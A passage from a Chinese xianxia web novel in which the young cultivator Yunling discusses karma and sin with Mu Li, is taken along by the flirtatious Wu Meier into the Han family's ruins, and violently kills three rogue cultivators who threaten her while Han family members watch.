“后日便是秘境关闭之时,我们找个安全之地,静静等待传送出去就是。我们的储物袋已经装满了,无需再寻找什么资源。”
一行人议论纷纷,有的忧心忡忡,有的不屑一顾,有的暗自沉思,各种表情,不一而足。
正当他们准备继续离开之际,四周出现了密密麻麻的妖兽,将他们团团围住。这些妖兽形态各异,种类繁多,眼前的景象完全超出了他们的预料。
这一刻,数十名天剑宗弟子全都愣住了。
在他们的认知中,妖兽从不合作,更何况是种族不同的妖兽?
然而,眼前这些妖兽的行为,打破了他们所有的认知。
“吼!”一声震天的兽吼响起,紧接着是连绵不绝的怒吼,如同雷霆在耳边轰鸣。
“列阵!快列阵!”天剑宗领头的男修急忙吼道,声音中带着一丝颤抖。
众弟子虽然心中惧怕,但也明白形势的严峻,纷纷慌忙地列阵以待。
兽吼声震天动地,无尽妖兽带着愤怒,向这些天剑宗弟子发起了冲锋。
它们的步伐令大地都为之震颤。
天剑宗的阵型在冲击下,如同纸糊一般,一触即溃。
无尽的妖兽汹涌而至,瞬息间将他们撕碎,吞食入腹。
这是一场报复,整个秘境中妖兽对修士的集体报复。
妖兽的吼声在四面八方响起,修士的惨叫声此起彼伏。
这是一场杀戮,妖兽对修士的无情杀戮……
云灵是被连绵不绝的兽吼声从昏迷中唤醒的,她睁开眼,首先映入眼帘的是一位姿容无瑕、青丝如瀑的女子。
她身着天蓝法衣,周身散发着一股清冷的气质,眼神中透露出一种漠视一切的寒意。
“你醒啦?”女子的声音冷如冰霜,仿佛能将天地冰封。
“这是哪里?”
云灵记得自己是在阻止一场杀戮时晕倒的,现在置身之所,是一个陌生地域。
“这是我的临时洞府。昨晚见你晕倒,便将你带回。我叫暮璃,你叫作什么?”女子淡淡说道。
“暮璃大小姐?”云灵惊讶地问道。
“正是。你似乎听说过我?”
“我曾在灰狼城的暮家商会听闻过您。一位前辈曾向我提起过您。”云灵诚实回答。
那位所谓的前辈,正是暮家的管家,曾匆匆返回本家,提及过一个叫云灵的女子。
“有件事我想问你。”
“大小姐请问。”
“昨晚我见你杀戮众修士,是何原因?”暮璃问道。
云灵心怀悲悯地解释:“妖兽亦是生命,与修士无异,都在追求长生。那些修士早已罪孽满身,昨夜更是趁妖兽沉醉机缘之际,行此屠戮。我不忍见妖兽遭受如此对待,故以杀止杀。”
55. 修行世界
暮璃闻言,若有所思地点头:“云灵,所以你能与妖兽为伍,甚至交换灵药?”
云灵眸中闪过一丝诧异:“暮璃大小姐,你如何得知此事?”
暮璃回道:“我曾偶遇你与妖兽相遇,它们非但未对你下杀手,更无半分敌意。我好奇之下,便暗中跟随,见你与妖兽相处融洽,甚至能交换灵药。这一路所见所闻,颠覆了我的认知。”
暮璃对云灵口中的“罪孽”颇为好奇,于是又问:“何为罪孽?”
云灵不假思索地回答:“滥杀无辜者,是为罪孽。虐杀生灵者,亦是罪孽。罪孽之人,神魂浑浊,会散发恶臭。”
神祇宝典中关于罪孽的记载浩如烟海,每一种罪孽都细微到极致。云灵只能简要概述,否则穷尽时日也难以尽述。
“凡人为生存所需,宰杀家畜,并不会沾染罪孽,因为这是生存的本能。”云灵解释道,“但如果他们虐杀,无论是家畜还是野兽,便会沾染罪孽。”
“同理,野兽之间的捕食,是出于本能,它们不像人类,天生拥有灵智,只有生存繁衍的本能,因而不算罪孽。如果野兽攻击凡人,而凡人为了自保击杀野兽,同样也不算罪孽。”
“修士在筑基之前,仍需食物维持生命,若以妖兽为食,或修士为食,也不会沾染罪孽。妖兽未至二阶之前,同样需要捕食,它们之间的捕食或捕食修士,亦不会沾染罪孽。”
“无论是修士还是妖兽,一旦有筑基的修为,若无深层因果,对凡人凡兽出手虐杀的话,也是会沾染罪孽的。”
“总而言之,只要滥杀无辜或虐杀任何生灵,都会沾染罪孽……”云灵总结道。
这些,只是神祇宝典记载的冰山一角,细微之处还有许多。
暮璃听后,陷入了沉思。“罪孽”这个词自古以来似乎总是高位者对下位者的审判,也是世人对邪恶行为的一种普遍理解。
然而,这个概念太过笼统,不同的人对它的容忍和界定各不相同,很难找到一个统一的标准。
此刻云灵告诉她,罪孽并非人类所定义,也不仅仅属于人类,而是冥冥之中的法则。
身怀罪孽者,会散发出一种特殊的恶臭,这种恶臭,非物质的,而是神魂上的污浊。
暮璃问道:“所以,这就是你选择与妖□□换灵药的原因?”
“正是。”云灵点头,“灵药由妖兽守护,若我强行抢夺,便会沾染罪孽。反之,即便妖兽为了守护灵药而击杀我,它们也不会因此沾染罪孽。”
暮璃听言,好奇道:“你是否有法子让我见识一下罪孽?”
神祇宝典中除却修炼法门、凤女神火无法外传之外,并未提及神祇真眼不可外传。
“大小姐,若你想要知晓,我自有办法让你见识。”云灵思索片刻之后,回答道。
这神祇真眼不同于普通功法,无需修炼,一旦知晓法门,便自然运转,无时无刻不在洞察世间的罪孽。
“这便是罪孽之气吗?”暮璃得了神祇真眼的法门,在它的映照下,首次感受到了自身散发的恶臭,这是一种说不出道不明的臭味,无法封闭,无法逃避。
暮璃自修炼以来,她所杀之人,皆是那些先招惹她的存在,这并不构成罪孽。然而,在她的历练过程中,为了获取灵药,杀害了不少妖兽。这些行为,自然会沾染罪孽。
她惊愕地问云灵:“你是如何在我面前保持镇定的?”
云灵自入道之后,每时每刻都会感知到别人的罪孽,所以,这才是她少与人接触的原因。
特别是修士,哪个身上没有夺过灵药:哪个没有杀害过妖兽?哪个身上没有背负过无辜生灵的生命?
每天都在臭味的弥漫下生活的云灵,几乎要发疯,因此,她宁愿与妖兽待在一起,也不愿与那些修士交流。
实际上,暮璃身上的罪孽微乎其微,而且,暮璃身上自然散发出的冷香,让云灵忍不住想要靠近。
“习惯了!”云灵无奈回答道。
在暮璃的感知里,云灵的神魂不仅没有丝毫罪孽,而且那功德光芒几乎亮瞎了她的眼,不仅如此,云灵的身上还在时刻散发着浓郁的清香。
对比云灵,暮璃迫切的想要摆脱身上的罪孽之气,她急迫地问道:“如何才能去除这股恶臭?”
云灵解释道:“若想净化罪孽,唯有多作善德,不滥杀无辜,随着时间的积累,罪孽自会消散。”
暮璃无奈地接受了这个事实,她打算出了秘境,就尽快将罪孽去除,她是一刻都忍受不了了。
连她的天蓝法衣都在散发着恶臭,简直让她不能忍受。
忽然,外面的兽吼声震天动地,比之前更为震撼,打断了还想要继续探讨罪孽的两人。
云灵心中一紧,问道:“大小姐,这是怎么回事?”
暮璃神色平静,似乎对这场面已有所预料,她反问道:“此乃妖兽报复,你不去阻止它们吗?”
云灵摇了摇头,眼中流露出一丝无奈:“若非修士先前趁机杀害妖兽,它们也不会如此报复。我若此时现身,愤怒的妖兽也不会因此罢手。
我无力阻止修士的杀戮,如今又怎能阻止妖兽的报复?这是因果循环法则,此果,是他们自身种下的。”
暮璃望着山洞外的混乱,道:“每次秘境开启,修士都会有所折损。最严重的一次,折损了六成,那已经是万年前的事了。我看此次折损的修士,不会比万年前少。”
“秘境?大小姐,这里是秘境?”云灵惊愕地问道。
暮璃见云灵对此一无所知,便细问了她一番,然后给她解释何为秘境。
秘境,有人说它隐于世界之中,有人说它游离世界之外。
每隔一段岁月,它便会神秘地出现,每次的入口都不尽相同,世界各地,皆有可能成为它的门户。秘境不受任何人掌控,内里的资源之丰,许多世间已绝迹的灵药,都能在其中寻觅到踪迹。
练气期的秘境每五年开启一次,除了练气期的修士,其他人皆无法踏入。据世界历史记载,共有十个练气期的秘境,它们每隔五年便有一个秘境现世,五十年一个轮回。
筑基期的秘境,与金丹期和元婴期的秘境一样,据记载,所知的也仅有十个秘境,它们每隔一段时间出现,轮回往复,神秘莫测。
云灵聆听着暮璃的解释,心中对秘境有了初步的认识。她无意中穿越的结界,竟踏入了一个秘境之中。
这场妖兽的报复,直至秘境关闭前的最后一个时辰,方才渐渐平息。
战场上,残肢断臂随处可见,术法留下的痕迹与战争的破坏交织在一起,触目惊心。
幸存的修士们,个个心有余悸,这场妖兽的报复,成为了他们永生难忘的噩梦。
他们在安全的角落里相互拥抱、安慰、哭泣,等待着秘境的传送,逃离这片血腥之地。
临时洞府内,云灵与暮璃静默地见证了这场残酷的征伐。
“云灵,你的凤灵果,如何交换?”暮璃开口,打破了沉默。
暮璃身为冰灵根纯度九成的天之骄女,对提升资质的宝物亦是渴望。她曾见云灵得到凤灵果,便提出了交换的请求,愿意为此付出高价。
“大小姐想要,我自当奉上,只需给我一枚中品灵石、一枚上品灵石、一枚极品灵石即可。”云灵轻声回答,手心已显化出一颗鲜红的凤灵果,大小如李。
这个世界很大,寻常修士所用的灵石,只有下品灵石与中品灵石,上品灵石都很少用到,至于极品灵石,只掌握在元婴修士与化神修士手里。
“这么简单?”暮璃惊讶,凤灵果可谓无价之宝,而云灵的要求却出人意料地低。
“怎么?大小姐难道连三枚灵石也拿不出?”云灵调侃道,随即将凤灵果放入暮璃的手心。
云灵之所以只要三枚灵石,是因为她修炼无需依赖外物,她要灵石,不过是想借助云霞演化。
到目前为止,她还只有下品灵石呢,身为一个拥有世界的富婆,区区下品灵石,岂非太穷?
暮璃接过凤灵果,手心显化出三枚灵石,分别是中品、上品、极品,递给云灵。
上品灵石已属珍贵,至于极品灵石,即便飞升之后,也仍具有极高的价值。
暮璃眼也不眨的随意就能拿出,可知她身家之富裕。
暮璃又拿出一枚玉牌,向云灵介绍道:“持此玉牌,在暮家商会购买任何物品,均可享受五折优惠。”
云灵接过玉牌,只见这紫金玉牌由极品宝玉雕琢而成,精美纹路上刻着一个“暮”字,造型小巧精致。
云灵尚不
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知道,这玉牌非同小可,能得此牌者,需与暮家有着极深的交情。暮家历来送出的玉牌,加起来也不足二十枚。
拥有这玉牌,不仅能在暮家商会享受购物优惠,还可随时借用十亿上品灵石,归还期限长达十年,且不收利息。
“大小姐,多谢了!”云灵欣喜地回应。
暮璃微微点头,问道:“你为何不加入宗门呢?”
以云灵十六岁之龄,便有练气六层的修为,若加入宗门,即便是化神期修士也会争相收她为徒。
“我向来喜欢自由自在。”云灵解释道。
她来到这个世界才一年多,未曾遇到宗门收徒的机会。
即便有,她也不打算加入。
在她看来,宗门虽有资源和庇护,但往往伴随着复杂的勾心斗角和严格的规矩。
云灵追求的是无拘无束的修行之路,才不想被宗门的条条框框束缚。
听了云灵的解释,暮璃见秘境关闭在即,便问道:“你可有通讯玉牌?”
云灵一脸疑惑:“不知大小姐所说的通讯玉牌是何物?”
暮璃一听,便知云灵对此一无所知,于是她拿出两块精致小巧的玉牌,将其中一块崭新的递给云灵,并详细解释了其功能。
原来,这通讯玉牌,无论身在何处,只要有对方气息烙印,都可相互联络。还有与微信相似功能,可以发朋友圈,可以评论点赞。
在暮璃的指导下,云灵将自己的印记烙印在玉牌上,这玉牌从此成为她专属的通讯工具,除她之外,无人能够使用。若修为高绝的强行使用,玉牌便会自行销毁。
云灵意念进入玉牌空间,界面简洁明了,仅有通讯录和朋友圈两大功能。通讯录中已有暮璃的气息,云灵为其备注——暮璃大小姐。
“今后有事,可通过此玉牌找我。我是暮家大小姐,丹法宗嫡传弟子,你若遇到危险,报我的名字即可。”暮璃见时间紧迫,对正把玩玉牌的云灵说道。
“嗯嗯,大小姐,我记下了!”云灵乖巧点头。
云灵与暮璃又聊了些闲话,随着秘境的传送力量发动,两人的身影便被各自送往外界。
转眼间,云灵发现自己已经回到了未曾进入秘境前的位置。
她选择了往南方前行,继续在茂密的山林中穿梭,心中对这次秘境之旅充满了感慨。
“没有花香,没有树高,我是一颗无人知道的小草……”
山风轻拂,林间幽静,却突然被一阵走调的歌声打破。那歌声虽清灵,却跑调非常,让人听了不禁毛骨悚然。
云灵独自行走在这荒山野岭,心中不免生出几分寂寞,只得哼唱着小曲,以解旅途的孤单。
她的歌声所到之处,连妖兽都避之不及,飞禽也远远飞走……
突然,一声轻笑划破寂静。
“谁!”云灵脸色一沉,这笑声近在咫尺,她却毫无察觉,来人的实力定是深不可测。
“小妹妹,不必紧张,姐姐我只是路过而已。”随着这柔媚的声音,一位衣着暴露,身材火辣的狂野美人出现在云灵眼前。
“……前辈,您好。”云灵试探着打招呼,眼前这位美艳女子,分明已是元婴大圆满的修为,她可不敢有丝毫得罪。
在修行界,尊卑之分极为严格,修为高者自然为尊,无论是言语还是举止,都必须恭敬有加。
即便是性格再桀骜不驯,再崇尚自由之人,在实力不足时也必须低头,这不仅是礼节,更是生存之道。
若遇到脾气暴躁或好面子的强者,因礼节不周而招致杀身之祸,那可就得不偿失了。
“哈哈哈哈,”那美艳修士笑得花枝乱颤,高耸的胸部似乎要破衣而出,纤细的腰肢如同风中摆柳,看得云灵心神不宁。
云灵心中默念神祇理念,这才勉强压制住心中的羞涩与无措。
“妹妹真是有趣。”美艳修士笑罢,这才转入正题:“妹妹芳名为何?”
“晚辈云灵。”云灵恭敬回答。
“好名字!”女子轻轻撩了下头发,动作间风情万种。
“敢问前辈尊姓大名?”云灵鼓起勇气,睁着流光溢彩的双眼问道。
“武媚儿。”柔媚的声音传来,云灵偷偷打量了会儿武媚儿,果然人如其名,美艳动人。
56. 修行世界
武媚儿见云灵的视线总是偷偷瞄向她,捂嘴娇笑:“怎么这么爱偷看姐姐?想看就跟姐姐说嘛,姐姐会让你看个够的。当然,如果想玩点更有趣的,姐姐也会满足你的哟。”
说着,她凑近身来,手臂柔若无骨地搭在了云灵的肩膀上,柔软的胸部顺势贴到云灵的脸颊上。
“哇!不想看不想看!”云灵骇然,也顾不得她是位元婴修士,面红耳赤地想要推开武媚儿,那一瞬间的接触就像被雷电击中了一般,浑身好似有电流淌过,酥麻痒各种感觉都有。
“哈哈哈!”看着窘迫的云灵,武媚儿终于放开了她,收起轻浮,问道:“小云灵这是要去哪里呀?”
“回前辈……”云灵羞意交加,刚才的接触让她现在还没缓过来,不知如何是好,心中竟然还有些许的留恋。
云灵话刚出口,武媚儿就打断了她,捏着云灵的小脸,呵气如兰:“叫姐姐,不许叫前辈!”
云灵尴尬,云灵晕乎,云灵沉醉,她迷迷糊糊地回答道:“我……我也不知道要去哪里!”
“那么,在姐姐离开云雾谷之前,你就跟着我好了。”武媚儿眨眼,美艳动人地决定道。
云灵自晕乎中稍微恢复,她想要拒绝,她与眼前这位元婴修士才刚见面,甚至不了解,但对面可是元婴修士,所以她根本没得选择。
“好的,姐姐!”云灵乖顺地点头。
“云灵妹妹真乖。”武媚儿笑魇如花。
******
“姐姐,这衣裳太过花哨,我更偏爱朴素些的。”云灵难为情地说道,她身上穿着一件露肩的裙子,裙上披着蝉翼般的彩色纱巾,袖口和裙摆绣满了彩蝶与花朵。她每走一步,周身便似有花瓣飞舞,美则美矣,却与她的气质格格不入。
“嗯……确实不太适合你。”武媚儿端详了片刻,终究摇了摇头。云灵并非那种风情万种的女子,她的身上总是散发着一股纯真无邪的气息。
“哎呀前辈,这纱裙的防御力在极品法衣中也算是上乘,既美观又实用……”
店小二见武媚儿似乎对这飞花纱裙不太满意,急忙推销起来。
就在这时,一名娇俏的女修依偎着一名儒雅的男修走进了店铺。女修的目光在店内游走,先是看到了武媚儿,随后目光落在了云灵身上。
“呀!飞花纱裙!”女修指着云灵惊叫,随即撒娇地拉着男修的袖子,“海哥哥,人家也想要飞花纱裙嘛!你难道还舍不得在可爱的人家身上花这么一点点灵石吗?”
云灵看了这女修一眼,见她杏眼含媚,软语娇声地拉扯着男修的袖子,心中不禁生出一丝尴尬,她这是被撒了一嘴的狗粮吗?
“哎哟,这不是韩公子吗?”店小二也是眼前一亮,立刻弃了云灵,热情地迎了上去,“萌姑娘还是这么可爱动人呢!”
“萌儿想要,岂有不买之理?”男修面不改色,手一挥,“买了!”
“海哥哥我爱你!”女修开心地在男修脸上印下一个香吻。
换上了崭新法衣的女修,挽着男修的手,娇滴滴地离开了。
云灵看完这场恩爱秀,心中五味杂陈,暗自想着也要找个娇滴滴的小姐姐,好好秀一番恩爱。
她偷偷瞄了一眼武媚儿,脸上一红,快速转过头去。
店小二做成了一笔大单,对云灵这样犹豫不决的客人态度也变了,“你还买吗?若是不打算买了,可以试试别的,本店的法衣多多。”
小二的态度傲慢,就差在脸上写着:没钱就滚。
“这家伙,狗眼看人低!”云灵愤愤地想着,却还是换下了飞花纱裙,这样的法衣,确实不适合她。
云灵拉着武媚儿走了出去,然后被武媚儿又拉进了一家店铺,买了许多只适合观赏,不适合穿的极品法衣。那些花花哨哨的法衣,武媚儿根本不是在给她买合适的衣服,而是在玩装扮娃娃,而模特,就是她这个大怨种。
从店铺里出来,云灵问道:“姐姐,现在该买的都买好了,是不是该说目的啦,好让我报答你?”
“哦?你想做一个知恩图报的人?”武媚儿笑容灿烂地说道。
“不想,可以不报吗?”
“不可以。”
“……”
“哈哈,小云灵果然什么也没注意到呢,你这样毫无警觉地在修行界里独行,真让人担心呢。”武媚儿摸着云灵的小脑袋,柔柔说道。
“呃!”云灵满脸疑惑,只能将求助的目光看向武媚儿。
武媚儿嘴角上扬:“小云灵的观察能力还有待提高呢,我们进这云雾城的牌子你看了嘛?”
云灵拿出那块小木牌,没觉得有什么特别的,她又仔细看了看,才在牌子的角落里,刻着一个小小的韩字。
这座云雾城的城主,正是韩家,可是,这有什么异常吗?
武媚儿见云灵实在迷糊,便将情况说了出来。
原来,云雾城是一座有些年岁的老城,大约建立于两千年前,而韩家则是在一千五百年前搬来此地的。
韩家来到这里之后,实力是最为强大的,所以他们毫无疑问地成为了云雾城的话事人。
云雾城之所以被韩家看中,最重要的原因是这里有一处洞虚,据说是某个巨型宗门的部分遗址,用于宗门炼气修士的历练。
虽然这个宗门已经消逝在历史的烟尘之中,经历数万年,洞虚的禁制也完全消散,被无数修士探索反反复复翻了个遍,但是由于洞虚下方有一条小型灵脉,洞虚中的灵植至今仍旧长势喜人,在这贫瘠的云雾谷算得上十分具有价值的地方了。
韩家占据洞虚后,根据古宗门刻画禁制的遗迹,按照原来的地形重新设置了禁制,避免其中灵药过早被人摘采,每五十年开启一次洞虚,一方面历练韩家弟子,一方面让他们取些灵药出来,如果能捡出古修士的东西,那更是走了大运。
当然这等好事人人都想分一杯羹,韩家为了安抚众人,只需要上缴灵石就可以进入洞虚,时限为三日。
涌入如此之多的外人,韩家是否会亏本呢?当然不会。
这可是韩家的地盘,灵植的生长,矿石的产地,韩家弟子都是清清楚楚,一进去就能直捣黄龙,哪像外人一样只能一步步小心探索呢?许多修士出来一算收获,得不偿失啊!所以渐渐的,愿意进入洞虚的修士越来越少。
洞虚的入场费,炼气修士五百灵石,筑基修士五千灵石,千年来从未变过。
云灵听武媚儿介绍了这么多,心中已然明白了自己的任务,她问道:“姐姐,你是要我进洞虚吗?”
武媚儿微微点头,反问道:“小云灵,你真的一点都不好奇我的目的?”
“想必是某些听上去就很了不起的东西,姐姐又怎么可能让给我。我对你一定要带我过来的原因倒是挺好奇的,我问了你就会告诉我吗?”云灵睁着流光溢彩的双眼,期待地问道。
“不会。”
“……”
“小云灵,你怕不怕遇到危险?”武媚儿突然问道。
“啊?”云灵有点摸不着头脑,“不怕。”
“真的?”武媚儿脸上带着笑意望着她,可是云灵觉得她的笑容有几分怪异的感觉。她警惕道:“姐姐想干什么?”
“哈哈哈,看你吓的,”武媚儿娇媚一笑,方才的怪异感烟消云散,仿佛只是云灵的错觉。
“跟姐姐一起,怎么可能让你遇到危险嘛,这小小的云雾城难道还能有人能奈何得了姐姐不成?怎么?你不相信姐姐?”
“我信!”
“小云灵这样可就不对了,”武媚儿突然语气一转,脸色也有些严肃,“别人说你就信吗?这世间哪有那么多可信的事?”
云灵一愣,正想说什么,却见武媚儿加快了速度,只留给她一个妙曼的背影。
……
韩家洞虚据说在云雾城外的北边,可是在一路询问路线之后,云灵和武媚儿却走进了一座朱红的建筑。
建筑里人山人海,一个韩家人都看不见,只能看见无数散修的背影。
也没人组织大家排队,散修们就这样乱哄哄地挤在大厅中,人人都想向前挤,好早点拿到通行牌,搞得大厅又乱又吵。
云灵站在人
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堆后面,只能看见前方黑压压的一片人头攒动,却看不见尽头,连办理进入洞虚手续的韩家人坐在哪个位置都不知道。
云灵实在太矮,根本看不到应该往何处挤,她试图靠敏捷的身法在人与人之间的缝隙中穿梭,却发现只要稍微往里走一点点就是人贴人的状态,再厉害的人在这种状况下也只能随波逐流跟着人群流动。
可是想进洞虚得报名,得拿到进洞虚的通行牌,由不得她不去挤,云灵只好忍着人挤人的场面,运使身法,在人群中穿越。
哪怕她使劲手段,也前进不了多少,人群实在是太严密了,而她又不想触碰到那些男修,所以过程非常困难。
这时候有人拍了拍她的脑袋,她转身一看,只见武媚儿手上拿着两块玉牌,用诧异的眼神看着她。
云灵当场崩溃,“姐姐,你的玉牌哪里来的?”
“当然是买的咯?难道像你这么笨,挤着好玩?”武媚儿理所当然的回答,但她的面容告诉云灵,武媚儿憋笑憋得有多痛苦。
……
本以为五十年开放一次的洞虚,进入其中是一件严肃的事情,没想到是一大波人乱哄哄地拿着玉牌冲进庞大的传送阵,然后转眼间消失,再出现时,人已经在洞虚里了。
“这就进来了?”云灵表情懵懵情,这也太随便了吧!
“别愣着了,我们走!”武媚儿取出一把宝剑,拉着云灵站了上去。
“姐呀,这里又没别人,就算有别人,你直接打昏他们就是了,干嘛御剑装得跟筑基修士似的?”云灵见武媚儿慢悠悠地飞,十分纳闷地问。
“姐姐乐意!”武媚儿瞥了云灵一眼,哼出声。
一路飞行,云灵途中已经看到了好几波寻宝的炼气修士,她们从他们上方穿过,没有丝毫停留的意思,向洞虚更深出前行。
飞过一座山,一片花海出现在眼前。
此时已是黄昏,漫山遍野的蓝色花朵沐浴着金色的阳光,随着微风轻轻飘摇,一派宁静祥和的景象。
武媚儿放慢速度,绕着花海转了一圈,目光终于停留在一个位置。
云灵顺着她注视的目光,一看之下,这里并没有什么特别的,灵气浓度和周围并无区别,满地长的也是随处可见的小蓝花,好像平凡的不能再平凡;但是仔细观察就会发现,在一块正圆的地方,蓝花比旁边的要稍微矮一点,颜色稍微深一点,若不是从空中俯瞰,很难发现这一圈蓝花的问题。
难道所谓的古宝就在这里?仿佛印证云灵的猜想,武媚儿降落在圆圈外,“我要在这里施法,中途不能战斗,如果有人靠近,你就阻止他们,”
武媚儿向云灵挥了挥手,示意她后退,“现在开始,这个圈为中心十丈的范围内,不许任何人进去,包括你。”
“筑基修士不用管,这边基本不会有筑基修士过来,至于炼气修士,尽全力拦下他们,如果有人强行突破,杀之!”
武媚儿已经转过头去,“你不会连区区几个炼气期散修都对付不了吧?”
听着这激将的语气,云灵挺了挺不大的胸脯,昂然道:“保证完成任务!”
武媚儿捏了捏云灵脸蛋,没有说什么,转身就走了。
望着武媚儿的背影,云灵从一开始就很清楚,她无论是什么身份,她都是货真价实的元婴修士,虽然她有保命的手段,虽然武媚儿利用了她,但她还是决定顺从。
不为什么,只因为她看着武媚儿欢喜,喜欢和她相处。
花海在洞虚中是少见的僻静之处,因为这里位置本身比较深,又没有什么灵植生长,所以无论是散修还是韩家人都来的很少,直到第二天早晨也没有碍事的人过来。
隔着丛丛野花,云灵向武媚儿那里望了一眼,她几乎完全隐没在了花丛中,也不见有能量溢出,不知道她到底在干嘛。
忽然,云灵感应到这里来了人,立刻进入警戒状态。
早些时候,武媚儿送了她十套花哨的极品法衣,还有一柄宝剑,亦是极品法器。
云灵并没有拿出兵刃,她虽暗自警惕,却并没有把来人放在眼里。
57. 修行世界
果不其然,不一会儿,三名炼气修士从远处疾行而来。
三人都是炼气后期的修为,从装束上看,应该是散修。
他们向云灵这边过来,云灵稍微判断了一下方位,非常不幸,他们一定会撞进武媚儿画出的禁域之中,由不得云灵不理会。
云灵没有办法,只好站出来。
那三人也看见了她,却丝毫没有避开的意思,直直地向她奔来。
“抱歉,三位可否绕道?这里不方便。”云灵向那三位男修说道,她并不打算一开始就动武。
“嘿,这位道友年纪轻轻就已经练气六层了,想必是名门之后,有什么难处尽管告诉我们,我们愿意助道友一臂之力。”
三人完全没有离开的意思,反而成包围之势向云灵接近,其中一人肆无忌惮地打量着云灵,毫不掩饰地露出贪婪的神色。
云灵怒意微动,看来,又有人来找死了,“你等速速离开!”云灵警告道。
看到三人不以为然甚至轻薄贪婪的神情,以及向自己包围过来的步伐,云灵内心又怒又无语。
虽说是真实世界,怎么与话本世界没两样?处处是杀人夺宝,难道不能和平相处,非要整得你死我活?
这一刻,云灵忽然明白彩凤娘娘为何要造就三十六位神祇了,恐怕就是因为不修德善的渣太多的缘故。
“哎哟,道友不要这么见外嘛,我们兄弟三儿可是相当热心的,对你这样貌若皎月的女子更是爱护得紧啊,”一名散修脸上挂着贱笑,淫邪地说,“道友一介女流在外生活不易,不若随了我们弟兄,只需要把我们的弟兄三儿伺候舒服了,那吃香喝辣都有你的份儿!”
“嘿嘿嘿。”另外两名散修听到这话,心里一荡,龌龊的目光将云灵从上自下打量了个遍,还有一人伸出舌头舔了舔嘴唇。
这种年轻的修士他们三人遇到过很多,在他们眼里几乎就是肥羊的代名词,养尊处优身家丰厚,斗法经验匮乏,还特别爱跟人讲道理说废话,简直就是除了修为一无是处的花瓶,这样的花瓶他们不知道砸碎了多少个。
今天,他们以为又遇到了这样一个花瓶,看年纪不过十五年华,还是个柔弱的女子,这样的小丫头能有什么经验积累?
三人都没有太重视,先用语言让她紧张害怕,然后完成合围,手忙脚乱的小女孩还不任他们玩弄?
三人心里的如意算盘打得劈啪作响。
然而……静谧的花海之中,他们眼前已是囊中之物的女子已不见了踪影。
三人还来不及反应,就见那女子眨眼之间,一拳打中一名男子。
最先说话那男子只觉一阵剧痛,他想惨叫,可是张着嘴,连叫的力气都没有,不一会儿,在剧痛中的他只觉得身心很累,眼睛越来越模糊,最终,他什么也不知道了。
男子从头到尾都没有任何抵抗,剩下的两个男子只见那位小女孩的拳头,从他的心脏中穿身而过,他的后背,小女孩的手,还握着一颗心脏。
云灵将死去的男修一脚蹬开,在两个男子面前,把他们伙伴的心脏轻轻一捏,便成了肉沫。
两男子见状,慌慌张张,拔腿就跑。
这一切都发生在电光火石之间,实在是太快了!剩下的两名散修吓得魂不附体,他们完全没想到一个看起来娇弱的少女,速度竟如此快,下手竟如此凶狠!
“啊!”一声惨叫,瘦高个的散修回头一看,自己剩下的一名同伴,竟被那少女一掌拍碎了脑瓜子,那白花花的脑浆散落得到处都是。
瘦高的散修吓得肝胆俱裂,他知道这一次不是踢到铁板上了,而是踢到阎王家的门板上了!他哪里还敢停留,使出了吃奶的力气拼命地逃,只恨爹妈没多给他生几条腿。
然而还没逃几步,他就突觉一阵剧痛,他努力往剧痛的地方看去,只见心脏处,从身后穿透一只柔弱无骨,精致完美的手臂,在那只小巧的手掌上,还握着一颗依旧在跳动的心脏。
第一次见到自己的心脏,那深红之色,跳动强劲,曾经是他多好的伙伴呐,然而今后,却再也不属于他了……
云灵捏碎了那颗肮脏的心,转眼见,她手臂上沾染的鲜血消失无踪,神祇,无时无刻都是纯净的。
摘取了三人的储物袋,云灵返回原地,依旧做着那个尽职尽责的小妹妹。
“嘶……毒妇,长大之后绝对是毒妇。”
远处,三名韩家人正遥遥观望这这场压倒性的屠杀,如果云灵看到,一定会认出其中一名男子正是那日在店里购买飞花纱裙的韩公子——韩海。
“六子,你用八荒镜的时候小心点,虽然能把远处的情景清晰地映射进来,可是到底是镜子,要是反光被那人看见了,怕是就要跑过来灭我们的口了。”韩海皱着眉头提醒道。
“嘿嘿,你放心吧,我特别擅长干这种事情,上次偷看一位漂亮的筑基前辈洗澡都没被发现呢,”六子得意的吹嘘,又感叹道:“女人啊,还是柔弱温柔的好,这种毒妇,求我我也不会娶她。”
“得了吧你,人家那么强,能看得上你?”另一名韩家弟子对六子的话嗤之以鼻,“不过这个女孩也太强了吧,打得对手完全没有还手的机会,这种情况我也就在筑基前辈虐杀炼气修士的时候见过了。”
“哼,韩风你别长她人志气啊?那是那三个白痴傻,他们太自以为是了,就那样随随便便地围上去,敌意太明显了,能不被人先下手为强?”六子傲慢地摆弄着八荒镜。
韩风冷静地分析道:“她的速度快得几乎看不清,若是我们对上,也没什么机会。咱们韩家的秘籍中,能和这个身法速度相媲美的根本没有;再看那散修逃走时,她追赶的速度已经远远超出了炼气期应有的范围,几乎转瞬间就追了上去,我从来没有见过任何一个炼气修士有如此鬼魅的身法,换做是你,难道能从这样的速度下逃走?”
“所以说是毒妇嘛,女人恶毒起来,我跟你讲啊……”六子眼神游离,开始扯歪理。
“行了,少说两句!”终于还是韩海站出来制止了两人,特别是六子无意义的瞎扯,“这个女孩我见过。”
“什么?”韩风惊讶。“你竟然还活着?”六子则夸张地大叫。
韩海狠狠地瞪了六子一眼,还是决定忽略这个不分场合的白痴,“这等姿容的女子,我多看两眼不是很正常吗?我记得当时她是和一个筑基修士一起的。”
韩风沉吟了一下:“你的意思是,那个筑基修士应该在附近?”
“那我们还不快跑?”六子脸色都白了。
“我想应该是她们没有发现我们,”韩海摇摇头,“我已经跟族中前辈发了传音符,一会儿筑基修士就会过来了。”
“叫叔叔他们过来?”六子愕然,“太夸张了吧你?她们危险我们只要绕开就好了,看毒妇刚才的表现好像也不会主动去找人别人。这秘境里杀人越货的事情又不少,至于把叔叔们叫来吗?”
“你是说,你觉得她们可能发现了什么?”韩风也忽视了六子的存在,思考了一番说道,“虽然没有看到那个筑基修士,却看到女孩就在原地徘徊,好像在守护着什么?”
“没错,可能那片蓝花下面有东西,筑基修士已经下去了,而她则留在上戒备,”韩海眉头紧皱,“她的手段你们也看到了,而这里灵气稀薄,筑基修士一般不会到这边来寻宝,所以留她在上面对付靠近的人应该绰绰有余。”
“难道她们发现了什么古物?”一想到那些威力强劲的古法宝和功法,六子眼睛放光,拿出八荒镜又往花海那边照了照,却什么都没有发现。
韩海连忙拦下六子:“不要再照了,一切交给族中前辈处理!打草惊蛇的话,说不定反而会错失良机。”
“好吧。”六子泄气地说。
在原地的云灵突见一道奇怪的光从远处的树林射了过来。
